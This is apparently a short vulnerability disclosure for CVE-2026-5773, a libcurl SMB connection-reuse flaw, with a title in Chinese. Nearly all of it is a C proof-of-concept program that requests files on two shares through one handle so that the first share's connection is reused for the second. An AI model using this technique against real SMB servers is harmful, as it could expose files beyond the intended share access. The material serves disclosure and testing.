CVE-2026-5773 libcurl SMB连接重用逻辑错误漏洞

#include <stdio.h> #include <curl/curl.h> int main(void) { CURL *curl; CURLcode res; curl_global_init(CURL_GLOBAL_DEFAULT); curl = curl_easy_init(); if(curl) { // Step 1: Initiate a transfer to Share A curl_easy_setopt(curl, CURLOPT_URL, "smb://server/share1/secret.txt"); curl_easy_setopt(curl, CURLOPT_USERNAME, "user"); curl_easy_setopt(curl, CURLOPT_PASSWORD, "pass"); res = curl_easy_perform(curl); // The connection is returned to the pool, associated with share1 context // Step 2: Initiate a transfer to Share B // Vulnerability: libcurl may reuse the connection from Share A for Share B curl_easy_setopt(curl, CURLOPT_URL, "smb://server/share2/public.txt"); res = curl_easy_perform(curl); if(res != CURLE_OK) fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res)); curl_easy_cleanup(curl); } curl_global_cleanup(); return 0; }